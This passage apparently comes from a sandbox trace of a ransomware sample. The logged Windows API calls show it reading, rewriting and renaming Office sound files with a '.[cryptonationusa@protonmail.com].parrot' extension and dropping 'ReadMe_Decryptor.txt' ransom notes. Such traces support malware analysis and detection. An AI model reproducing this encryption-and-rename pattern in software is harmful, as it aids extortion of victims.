hHeap=0x5b0000) returned 1 [0185.935] WriteFile (in: hFile=0x284, lpBuffer=0x22e20a0*, nNumberOfBytesToWrite=0xa538, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x22e20a0*, lpNumberOfBytesWritten=0x18e8f4*=0xa538, lpOverlapped=0x0) returned 1 [0185.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e2098 | out: hHeap=0x5b0000) returned 1 [0185.939] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa52a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0185.939] CloseHandle (hObject=0x284) returned 1 [0185.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0185.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2296828 [0185.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0185.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296828 | out: hHeap=0x5b0000) returned 1 [0185.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0185.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c84e8 | out: hHeap=0x5b0000) returned 1 [0185.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0185.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0185.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0185.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0185.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0185.942] GetFileType (hFile=0x284) returned 0x1 [0185.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0186.054] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.054] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0186.055] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.055] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb14e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb14e, lpOverlapped=0x0) returned 1 [0186.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.057] GetLastError () returned 0x0 [0186.057] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0186.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0186.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2298050 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d8528 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31bc468 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d8528 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31bc468 | out: hHeap=0x5b0000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22e2098 [0186.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0186.059] WriteFile (in: hFile=0x284, lpBuffer=0x22e20a0*, nNumberOfBytesToWrite=0xb268, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x22e20a0*, lpNumberOfBytesWritten=0x18e8f4*=0xb268, lpOverlapped=0x0) returned 1 [0186.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e2098 | out: hHeap=0x5b0000) returned 1 [0186.063] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb266, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0186.063] CloseHandle (hObject=0x284) returned 1 [0186.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0186.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2296828 [0186.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0186.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296828 | out: hHeap=0x5b0000) returned 1 [0186.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c84e8 | out: hHeap=0x5b0000) returned 1 [0186.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0186.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0186.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0186.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0186.069] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.069] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0186.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.071] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf548, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf548, lpOverlapped=0x0) returned 1 [0186.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0186.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.072] GetLastError () returned 0x0 [0186.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0186.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0186.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2298050 [0186.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d8528 [0186.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31bc468 [0186.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d8528 | out: hHeap=0x5b0000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0186.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31bc468 | out: hHeap=0x5b0000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22e2098 [0186.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22f10d0 [0186.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e2098 | out: hHeap=0x5b0000) returned 1 [0186.076] WriteFile (in: hFile=0x284, lpBuffer=0x22f10e0*, nNumberOfBytesToWrite=0xf668, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x22f10e0*, lpNumberOfBytesWritten=0x18e8f4*=0xf668, lpOverlapped=0x0) returned 1 [0186.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f10d0 | out: hHeap=0x5b0000) returned 1 [0186.078] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf660, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0186.078] CloseHandle (hObject=0x284) returned 1 [0186.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0186.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2296828 [0186.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0186.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296828 | out: hHeap=0x5b0000) returned 1 [0186.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c84e8 | out: hHeap=0x5b0000) returned 1 [0186.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0186.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0186.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0186.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0186.083] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.083] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0186.084] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.084] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xedd6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xedd6, lpOverlapped=0x0) returned 1 [0186.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0186.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.085] GetLastError () returned 0x0 [0186.086] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0186.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 